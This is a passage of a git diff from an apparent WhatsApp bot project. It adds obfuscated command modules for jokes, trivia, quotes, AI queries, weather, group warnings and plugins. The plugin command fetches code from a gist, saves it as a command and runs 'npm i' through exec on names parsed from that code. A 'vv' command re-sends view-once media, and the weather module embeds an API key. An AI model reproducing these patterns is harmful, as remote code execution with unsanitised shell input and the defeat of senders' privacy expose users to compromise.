_0x6f3d24(_0x65e67a['joke']),console[_0x4c8f02(0x13a)](_0x65e67a[_0x4c8f02(0x1b8)]);}catch(_0x3209bd){console['error'](_0x4c8f02(0x14f),_0x3209bd[_0x4c8f02(0x146)]),await _0x6f3d24('Failed\x20to\x20fetch\x20a\x20joke.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':_0x39bcb0(0x176),'reaction':_0x39bcb0(0x1dd),'categorie':'Fun'},async(_0x5e3cca,_0x46692c,_0xb674f)=>{const _0x496b52=_0x39bcb0,{repondre:_0x279ca7,arg:_0x24b59b,ms:_0x582e4e}=_0xb674f;try{const _0x527a0f=await fetch(_0x496b52(0x208)),_0x452343=await _0x527a0f[_0x496b52(0x18e)](),_0x1bbc31=_0x452343[_0x496b52(0x1c9)]['advice'];await _0x279ca7(_0x496b52(0x15b)+_0x1bbc31);}catch(_0x42a0e2){console[_0x496b52(0x1ee)](_0x496b52(0x1d9),_0x42a0e2[_0x496b52(0x146)]||'An\x20error\x20occurred'),_0x279ca7('Oops,\x20an\x20error\x20occurred\x20while\x20processing\x20your\x20request');}}),adams({'nomCom':_0x39bcb0(0x20c),'reaction':'🤔','categorie':_0x39bcb0(0x1f0)},async(_0x514a1e,_0x364b49,_0x24a545)=>{const _0x2ebb1f=_0x39bcb0,{repondre:_0xb2f12c,prefixe:_0x43d2cc,ms:_0xd4727b}=_0x24a545;try{const _0x1e5581=await fetch(_0x2ebb1f(0x143));if(_0x1e5581[_0x2ebb1f(0x18a)]!==0xc8)return _0xb2f12c(_0x2ebb1f(0x16c)+_0x1e5581['status']);const _0x14c051=await _0x1e5581[_0x2ebb1f(0x18e)]();if(_0x14c051&&_0x14c051['results']&&_0x14c051[_0x2ebb1f(0x1ec)][0x0]){const _0x351156=_0x14c051[_0x2ebb1f(0x1ec)][0x0],_0x5142ea=_0x351156[_0x2ebb1f(0x1ac)],_0x34ff37=_0x351156[_0x2ebb1f(0x1b7)],_0x39ee98=[..._0x351156[_0x2ebb1f(0x1a8)],_0x34ff37]['sort'](),_0x4df9fc=_0x39ee98[_0x2ebb1f(0x1e8)]((_0x4ab3f6,_0x15952b)=>_0x15952b+0x1+'.\x20'+_0x4ab3f6)[_0x2ebb1f(0x160)]('\x0a');await _0x364b49['sendMessage'](_0x514a1e,{'text':_0x2ebb1f(0x1df)+_0x5142ea+'\x0a\x0a'+_0x4df9fc+_0x2ebb1f(0x1c4)},{'quoted':_0xd4727b}),setTimeout(async()=>{const _0xc3973=_0x2ebb1f;await _0x364b49[_0xc3973(0x214)](_0x514a1e,{'text':_0xc3973(0x183)+_0x34ff37},{'quoted':_0xd4727b});},0x2710);}else throw new Error(_0x2ebb1f(0x15a));}catch(_0xad0d4b){console[_0x2ebb1f(0x1ee)](_0x2ebb1f(0x1d2),_0xad0d4b[_0x2ebb1f(0x146)]),await _0x364b49[_0x2ebb1f(0x214)](_0x514a1e,{'text':_0x2ebb1f(0x1e2)},{'quoted':_0xd4727b});}}),adams({'nomCom':_0x39bcb0(0x1a1),'reaction':'✨','categorie':_0x39bcb0(0x149)},async(_0x598c6b,_0x29bc28,_0x2541ad)=>{const _0x4e25ba=_0x39bcb0,{repondre:_0x1ce934,arg:_0x27b838,ms:_0x369d1a}=_0x2541ad;try{const _0x44e3b9=await fetch(_0x4e25ba(0x1d6)),_0x378cec=await _0x44e3b9[_0x4e25ba(0x18e)](),_0x3ebee4=Math[_0x4e25ba(0x166)](Math[_0x4e25ba(0x1fe)]()*_0x378cec[_0x4e25ba(0x1b2)]),_0x3393d6=_0x378cec[_0x3ebee4];await _0x1ce934('*Here\x20is\x20an\x20inspirational\x20quote\x20for\x20you:*\x20\x0a\x22'+_0x3393d6['text']+_0x4e25ba(0x1ca)+_0x3393d6[_0x4e25ba(0x145)]);}catch(_0x32eb0f){console[_0x4e25ba(0x1ee)]('Error:',_0x32eb0f['message']||'An\x20error\x20occurred'),_0x1ce934(_0x4e25ba(0x1fa));}}),adams({'nomCom':'gpt4','reaction':'📡','categorie':'AI'},async(_0x2cc548,_0x17d893,_0x1b316f)=>{const _0x536879=_0x39bcb0,{repondre:_0x2bbf2f,arg:_0x2db5e4,ms:_0xf847b2}=_0x1b316f;try{if(!_0x2db5e4||_0x2db5e4[_0x536879(0x1b2)]===0x0)return _0x2bbf2f('Please\x20ask\x20a\x20question.');const _0x51a8f6=encodeURIComponent(_0x2db5e4['join']('\x20')),_0x4df159=_0x536879(0x1c0)+_0x51a8f6,_0x20494c=await axios[_0x536879(0x185)](_0x4df159),_0x8c4d0e=_0x20494c['data'];if(_0x8c4d0e&&_0x8c4d0e[_0x536879(0x146)]&&_0x8c4d0e[_0x536879(0x146)][_0x536879(0x1a9)]){const _0x282442=_0x8c4d0e['message']['content'],_0x1b7d96=_0x282442['match'](/```([\s\S]*?)```/),_0x30aa0f=[{'name':_0x536879(0x1f3),'buttonParamsJson':JSON['stringify']({'display_text':_0x536879(0x1ab),'url':_0x536879(0x153)})}];if(_0x1b7d96){const _0x1e6911=_0x1b7d96[0x1];_0x30aa0f[_0x536879(0x187)]({'name':_0x536879(0x203),'buttonParamsJson':JSON[_0x536879(0x189)]({'display_text':'📋\x20COPY\x20RESULTS','id':'copy_code','copy_code':_0x1e6911})});}const _0x26e2e4=generateWAMessageFromContent(_0x2cc548,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x536879(0x1f1)][_0x536879(0x1c5)]['create']({'body':proto[_0x536879(0x1f1)]['InteractiveMessage'][_0x536879(0x168)][_0x536879(0x165)]({'text':_0x282442}),'footer':proto[_0x536879(0x1f1)][_0x536879(0x1c5)][_0x536879(0x180)][_0x536879(0x165)]({'text':_0x536879(0x1a6)}),'header':proto[_0x536879(0x1f1)][_0x536879(0x1c5)][_0x536879(0x17f)][_0x536879(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x536879(0x1f1)]['InteractiveMessage'][_0x536879(0x1dc)]['create']({'buttons':_0x30aa0f})})}}},{});await _0x17d893['relayMessage'](_0x2cc548,_0x26e2e4[_0x536879(0x146)],{'messageId':_0x26e2e4['key']['id']});}else throw new Error(_0x536879(0x14a));}catch(_0x232746){console[_0x536879(0x1ee)](_0x536879(0x17d),_0x232746[_0x536879(0x146)],_0x232746[_0x536879(0x20f)]?.[_0x536879(0x16d)]||_0x536879(0x1b0)),_0x2bbf2f(_0x536879(0x1b3));}}),adams({'nomCom':_0x39bcb0(0x1a5),'aliases':['gptbard'],'categorie':'AI'},async(_0x2f09d4,_0x433723,_0x466bad)=>{const _0x5c51d3=_0x39bcb0,{ms:_0x4a991e,repondre:_0x54d8f0,arg:_0x32a609}=_0x466bad;if(!_0x32a609[0x0]){_0x54d8f0(_0x5c51d3(0x1ce));return;}try{await _0x433723[_0x5c51d3(0x214)](_0x2f09d4,{'text':_0x5c51d3(0x164)},{'quoted':_0x4a991e});const _0xfc47d5=_0x466bad['nomAuteurMessage']||'defaultUser',_0x1fcc96=_0x32a609[_0x5c51d3(0x160)]('\x20'),_0x539a35=_0x5c51d3(0x19c)+_0xfc47d5+'&query='+encodeURIComponent(_0x1fcc96),_0x1058e5=await fetch(_0x539a35),_0x1b34b5=await _0x1058e5[_0x5c51d3(0x18e)]();if(!_0x1b34b5[_0x5c51d3(0x179)]){_0x54d8f0(_0x5c51d3(0x155));return;}const _0x45ca84=_0x1b34b5[_0x5c51d3(0x179)],_0x26bea3=[{'name':'cta_url','buttonParamsJson':JSON['stringify']({'display_text':_0x5c51d3(0x1ab),'url':_0x5c51d3(0x153)})}],_0x2890f1=generateWAMessageFromContent(_0x2f09d4,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x165)]({'body':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x168)]['create']({'text':_0x45ca84}),'footer':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x180)][_0x5c51d3(0x165)]({'text':_0x5c51d3(0x162)}),'header':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto['Message']['InteractiveMessage']['NativeFlowMessage'][_0x5c51d3(0x165)]({'buttons':_0x26bea3})})}}},{});await _0x433723['relayMessage'](_0x2f09d4,_0x2890f1[_0x5c51d3(0x146)],{'messageId':_0x2890f1['key']['id']});}catch(_0xb7afdd){_0x54d8f0('A\x20fatal\x20error\x20has\x20occurred...\x20\x0a\x20'+_0xb7afdd[_0x5c51d3(0x146)]);}});
diff --git a/scs/bmwn.js b/scs/bmwn.js
new file mode 100644
index 0000000..e1bf6a4
--- /dev/null
+++ b/scs/bmwn.js
@@ -0,0 +1,26 @@
+const {
+ adams
+} = require("../Ibrahim/adams");
+adams({
+ 'nomCom': "weather",
+ 'reaction': "🌡️",
+ 'categorie': "Search"
+},
+ async (_0x626df9, _0x17e5bb, _0x37baf6) => {
+ const _0x445647 = _0x1180fa.join(" ");
+ if (!_0x445647) {
+ return _0xecdf09("Give me location...");
+ }
+ const _0x470189 = await fetch("https://api.openweathermap.org/data/2.5/weather?q=" + _0x445647 + "&units=metric&appid=060a6bcfa19809c2cd4d97a212b19273&language=en");
+ const _0x4bfc6 = await _0x470189.json();
+ const _0x3cf19a = _0x4bfc6.name;
+ const _0x52e997 = _0x4bfc6.main.temp;
+ const _0x32180e = _0x4bfc6.weather[0x0].description;
+ const _0x2da493 = _0x4bfc6.main.humidity;
+ const _0x368581 = _0x4bfc6.wind.speed;
+ const _0x28a97c = _0x4bfc6.rain ? _0x4bfc6.rain['1h'] : 0x0;
+ const _0x39a4af = _0x4bfc6.clouds.all;
+ const _0x41b2f8 = new Date(_0x4bfc6.sys.sunrise * 0x3e8);
+ const _0x4393a0 = new Date(_0x4bfc6.sys.sunset * 0x3e8);
+ await _0xecdf09(" *BMW-MD WEATHER UPDATES* \n\n❄️ Weather in " + _0x3cf19a + "\n\n🌡️ *Temperature:* " + _0x52e997 + "°C\n📝 *Description:* " + _0x32180e + "\n❄️ *Humidity:* " + _0x2da493 + "%\n🌀 *Wind Speed:* " + _0x368581 + " m/s\n🌧️ *Rain Volume (last hour):* " + _0x28a97c + " mm\n☁️ *Cloudiness:* " + _0x39a4af + "%\n🌄 *Sunrise:* " + _0x41b2f8.toLocaleTimeString() + "\n🌅 *Sunset:* " + _0x4393a0.toLocaleTimeString() + "\n🌫️ *Latitude:* " + _0x4bfc6.coord.lat + "\n🌪️ *Longitude:* " + _0x4bfc6.coord.lon + "\n\n🗺 *Country:* " + _0x4bfc6.sys.country + "\n\n\n*°Powered by BMW-MD*");
+});
diff --git a/scs/bmwo.js b/scs/bmwo.js
new file mode 100644
index 0000000..ef92a17
--- /dev/null
+++ b/scs/bmwo.js
@@ -0,0 +1,39 @@
+const { adams } = require('../Ibrahim/adams');
+const {ajouterUtilisateurAvecWarnCount , getWarnCountByJID , resetWarnCountByJID} = require('../lib/warn')
+const s = require("../config")
+
+
+adams(
+ {
+ nomCom : 'warn',
+ categorie : 'Group'
+
+ },async (dest,zk,commandeOptions) => {
+
+ const {ms , arg, repondre,superUser,verifGroupe,verifAdmin , msgRepondu , auteurMsgRepondu} = commandeOptions;
+if(!verifGroupe ) {repondre('this is a group commands') ; return};
+
+if(verifAdmin || superUser) {
+ if(!msgRepondu){repondre('reply a message of user to warn'); return};
+
+ if (!arg || !arg[0] || arg.join('') === '') {
+ await ajouterUtilisateurAvecWarnCount(auteurMsgRepondu)
+ let warn = await getWarnCountByJID(auteurMsgRepondu)
+ let warnlimit = s.WARN_COUNT
+
+ if( warn >= warnlimit ) { await repondre('this user reach limit of warning , so i kick him/her');
+ zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "remove")
+ } else {
+
+ var rest = warnlimit - warn ;
+ repondre(`this user is warn , rest before kick : ${rest} `)
+ }
+} else if ( arg[0] === 'reset') { await resetWarnCountByJID(auteurMsgRepondu)
+
+ repondre("Warn count is reset for this user")} else ( repondre('reply to a user by typing .warn ou .warn reset'))
+
+} else {
+ repondre('you are not admin')
+}
+
+ });
diff --git a/scs/bmwp.js b/scs/bmwp.js
new file mode 100644
index 0000000..d5881a5
--- /dev/null
+++ b/scs/bmwp.js
@@ -0,0 +1,37 @@
+const {adams}=require("../Ibrahim/adams") ;
+
+
+
+adams({nomCom:"vv",categorie:"General",reaction:"🤪"},async(dest,zk,commandeOptions)=>{
+
+const {ms,msgRepondu,repondre}=commandeOptions;
+
+
+if(!msgRepondu){return repondre("*Mentionne a view once media* .");}
+
+
+if(msgRepondu.viewOnceMessageV2)
+{
+ if(msgRepondu.viewOnceMessageV2.message.imageMessage)
+ {
+ var image =await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.imageMessage)
+ var texte = msgRepondu.viewOnceMessageV2.message.imageMessage.caption
+
+ await zk.sendMessage(dest,{image:{url:image},caption:texte},{quoted:ms})
+ }else if(msgRepondu.viewOnceMessageV2.message.videoMessage){
+
+ var video = await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.videoMessage)
+var texte =msgRepondu.viewOnceMessageV2.message.videoMessage.caption
+
+
+await zk.sendMessage(dest,{video:{url:video},caption:texte},{quoted:ms})
+
+}
+}else
+{
+ return repondre("this message is not on view once .")
+}
+
+
+
+})
diff --git a/scs/bmwplns.js b/scs/bmwplns.js
new file mode 100644
index 0000000..1d9c9c2
--- /dev/null
+++ b/scs/bmwplns.js
@@ -0,0 +1,119 @@
+function _0x27c1(_0x522525,_0x19eac5){const _0x3f07a2=_0x3f07();return _0x27c1=function(_0x27c1ea,_0x1d972e){_0x27c1ea=_0x27c1ea-0x178;let _0x1e9a8c=_0x3f07a2[_0x27c1ea];return _0x1e9a8c;},_0x27c1(_0x522525,_0x19eac5);}const _0x1d3603=_0x27c1;(function(_0x5e745b,_0x113a20){const _0x18a1f9=_0x27c1,_0x3988c4=_0x5e745b();while(!![]){try{const _0xd0898a=-parseInt(_0x18a1f9(0x19f))/0x1+-parseInt(_0x18a1f9(0x19e))/0x2+parseInt(_0x18a1f9(0x1aa))/0x3*(-parseInt(_0x18a1f9(0x187))/0x4)+parseInt(_0x18a1f9(0x1ac))/0x5+parseInt(_0x18a1f9(0x1b2))/0x6+parseInt(_0x18a1f9(0x198))/0x7*(parseInt(_0x18a1f9(0x180))/0x8)+-parseInt(_0x18a1f9(0x17f))/0x9*(-parseInt(_0x18a1f9(0x1af))/0xa);if(_0xd0898a===_0x113a20)break;else _0x3988c4['push'](_0x3988c4['shift']());}catch(_0x454efe){_0x3988c4['push'](_0x3988c4['shift']());}}}(_0x3f07,0x72f7a));const a40_0x51cbee=(function(){let _0x3dea75=!![];return function(_0x596140,_0x36ea4e){const _0x3990f9=_0x3dea75?function(){if(_0x36ea4e){const _0x3e9ed6=_0x36ea4e['apply'](_0x596140,arguments);return _0x36ea4e=null,_0x3e9ed6;}}:function(){};return _0x3dea75=![],_0x3990f9;};}()),a40_0x1a7346=a40_0x51cbee(this,function(){const _0x5d3d82=_0x27c1;return a40_0x1a7346['toString']()[_0x5d3d82(0x192)](_0x5d3d82(0x18e))[_0x5d3d82(0x17b)]()[_0x5d3d82(0x194)](a40_0x1a7346)[_0x5d3d82(0x192)](_0x5d3d82(0x18e));});a40_0x1a7346();function _0x3f07(){const _0x5168a5=['8025SObEjn','resolve','525895WBXuaD','Here\x20is\x20an\x20exemple:\x0a-','\x0a*url\x20:*\x20','1110HLnDsN','https://gist.githubusercontent.com','Please\x20provide\x20a\x20valid\x20gist\x20raw\x20url','1552572cBzztY','match','then','error','toString','Modules\x20to\x20install\x20:\x20','delPlugin','startsWith','66465Hfevyk','152NyfbCg','.js','text','createWriteStream','plugin','plugin\x20list\x20:\x20for\x20listing\x20all\x20installed\x20plugins','stderr:\x20','252FWNwVJ','node:fs','../lib/plugin','end','split','join','replace','(((.+)+)+)+$','child_process','../framework/zokou','./commandes/','search','You\x20haven\x27t\x20install\x20any\x20plugin','constructor','https://gist.githubusercontent.com/','\x20removed\x20successfully\x20,\x20you\x20can\x20restart\x20now\x20or\x20if\x20have\x20another\x20plugin\x20to\x20remove\x20remove\x20these\x20first\x20and\x20then\x20restart\x20by\x20','forEach','146741KEEfcp','Addplugin','reboot','Plugin\x20installed\x20successfully\x20,\x20you\x20can\x20restart\x20now\x20or\x20if\x20have\x20another\x20plugin\x20to\x20install\x20install\x20these\x20first\x20and\x20then\x20restart\x20by\x20','url','install','1728418iMtcRP','78333FuSQAx','log','plugin\x20install\x20\x20:\x20for\x20plugin\x20installation\x0a-','exec\x20error:\x20','name','length','\x0a*name\x20:*\x20','push','Mods','toLowerCase','npm\x20i\x20'];_0x3f07=function(){return _0x5168a5;};return _0x3f07();}const {adams}=require('../Ibrahim/adams'),fs=require(_0x1d3603(0x188)),{exec}=require(_0x1d3603(0x18f)),plug=require(_0x1d3603(0x189));adams({'nomCom':_0x1d3603(0x184),'categorie':_0x1d3603(0x1a7),'desc':'manage(add\x20or\x20remove)\x20plugin','alias':['pg']},async(_0x24445d,_0x3ea8d3,_0x1fd90b)=>{const _0x5e8fa1=_0x1d3603,{repondre:_0x263c22,arg:_0x1e385f,ms:_0x126188,prefixe:_0x511e43}=_0x1fd90b;if(!_0x1e385f[0x0]||_0x1e385f[_0x5e8fa1(0x18c)]('')==='')_0x263c22(_0x5e8fa1(0x1ad)+_0x511e43+_0x5e8fa1(0x1a1)+_0x511e43+'plugin\x20remove\x20\x20:\x20for\x20removing\x20plugins\x0a-'+_0x511e43+_0x5e8fa1(0x185));else switch(_0x1e385f[0x0][_0x5e8fa1(0x1a8)]()){case _0x5e8fa1(0x19d):if(_0x1e385f[0x1][_0x5e8fa1(0x17e)](_0x5e8fa1(0x1b0))){const _0x3c9979=_0x1e385f[0x1];let _0x5785d3=await installPlugin(_0x3c9979);_0x5785d3&&_0x263c22(_0x5e8fa1(0x19b)+_0x511e43+'reboot');}else _0x263c22(_0x5e8fa1(0x1b1));break;case'remove':_0x1e385f[0x1]&&_0x1e385f[0x1]['trim']()!==''&&await plug[_0x5e8fa1(0x17d)](_0x1e385f[0x1])[_0x5e8fa1(0x179)](_0x66fa53=>{const _0x59a618=_0x5e8fa1;fs['rmSync'](_0x59a618(0x191)+_0x1e385f[0x1]+_0x59a618(0x181)),_0x263c22('Plugin\x20'+_0x1e385f[0x1]+_0x59a618(0x196)+_0x511e43+_0x59a618(0x19a));});break;case'list':const _0x120c3e=await plug['pluginList']();console['log'](_0x120c3e);if(_0x120c3e[_0x5e8fa1(0x1a4)]>0x0){let _0x36d6ad='';_0x120c3e[_0x5e8fa1(0x197)](_0x31b6d5=>{const _0x31abfd=_0x5e8fa1;_0x36d6ad+=_0x31abfd(0x1a5)+_0x31b6d5[_0x31abfd(0x1a3)]+_0x31abfd(0x1ae)+_0x31b6d5[_0x31abfd(0x19c)]+'\x0a';}),_0x263c22(_0x36d6ad);}else _0x263c22(_0x5e8fa1(0x193));break;}}),installPlugin=async _0xb97b96=>{const _0x4e89f9=_0x1d3603,_0x196f9f=await fetch(_0xb97b96),_0x5a08b1=await _0x196f9f[_0x4e89f9(0x182)]();let _0x517fa1=_0x5a08b1[_0x4e89f9(0x178)](/require\(['"]([^'"]+)['"]\)/g),_0x18fb8e=[];_0x517fa1&&_0x517fa1[_0x4e89f9(0x197)](_0x5a2ec6=>{const _0x45ac40=_0x4e89f9,_0x118984=_0x5a2ec6[_0x45ac40(0x18d)]('require(','')['replace'](')','')[_0x45ac40(0x18d)](/['"]/g,'');try{_0x118984!==_0x45ac40(0x190)&&require[_0x45ac40(0x1ab)](_0x118984);}catch{!_0x18fb8e['includes'](_0x118984)&&_0x18fb8e[_0x45ac40(0x1a6)](_0x118984);}});_0x18fb8e[_0x4e89f9(0x1a4)]>0x0&&(console['log'](_0x4e89f9(0x17c),_0x18fb8e),await new Promise((_0x49f10b,_0x50a1d4)=>{const _0x3456e2=_0x4e89f9;exec(_0x3456e2(0x1a9)+_0x18fb8e[_0x3456e2(0x18c)]('\x20'),(_0x189111,_0x564d3f,_0x557122)=>{const _0x1cc36f=_0x3456e2;_0x189111&&(console[_0x1cc36f(0x17a)](_0x1cc36f(0x1a2)+_0x189111),_0x50a1d4(_0x189111)),console['log']('stdout:\x20'+_0x564d3f),console[_0x1cc36f(0x17a)](_0x1cc36f(0x186)+_0x557122),_0x49f10b(_0x564d3f);});}));const _0x3dffef=_0xb97b96[_0x4e89f9(0x18d)](_0x4e89f9(0x195),'')[_0x4e89f9(0x18b)]('/')[0x4];return fs[_0x4e89f9(0x183)](_0x4e89f9(0x191)+_0x3dffef)[_0x4e89f9(0x18a)](_0x5a08b1),console[_0x4e89f9(0x1a0)]('Plugin\x20installed\x20successfully'),await plug[_0x4e89f9(0x199)](_0x3dffef[_0x4e89f9(0x18d)](_0x4e89f9(0x181),''),_0xb97b96),!![];};
+/**
+const a40_0x51cbee = function () {
+ let _0x5eb5b7 = true;
+ return function (_0x414ccc, _0x2b3814) {
+ const _0x89bc87 = _0x5eb5b7 ? function () {
+ if (_0x2b3814) {
+ const _0x4cb527 = _0x2b3814.apply(_0x414ccc, arguments);
+ _0x2b3814 = null;
+ return _0x4cb527;
+ }
+ } : function () {};
+ _0x5eb5b7 = false;
+ return _0x89bc87;
+ };
+}();
+const a40_0x1a7346 = a40_0x51cbee(this, function () {
+ return a40_0x1a7346.toString().search('(((.+)+)+)+$').toString().constructor(a40_0x1a7346).search("(((.+)+)+)+$");
+});
+a40_0x1a7346();
+const {
+ adams
+} = require("../Ibrahim/adams");
+const fs = require("node:fs");
+const {
+ exec
+} = require('child_process');
+const plug = require("../lib/plugin");
+adams({
+ 'nomCom': 'plugin',
+ 'categorie': "Mods",
+ 'desc': "manage(add or remove) plugin",
+ 'alias': ['pg']
+}, async (_0x1c4f27, _0x25b71c, _0x3ceeb8) => {
+ const {
+ repondre: _0x4b5993,
+ arg: _0x5b18db,
+ ms: _0x4a45ff,
+ prefixe: _0x133d81
+ } = _0x3ceeb8;
+ if (!_0x5b18db[0x0] || _0x5b18db.join('') === '') {
+ _0x4b5993("Here is an exemple:\n-" + _0x133d81 + "plugin install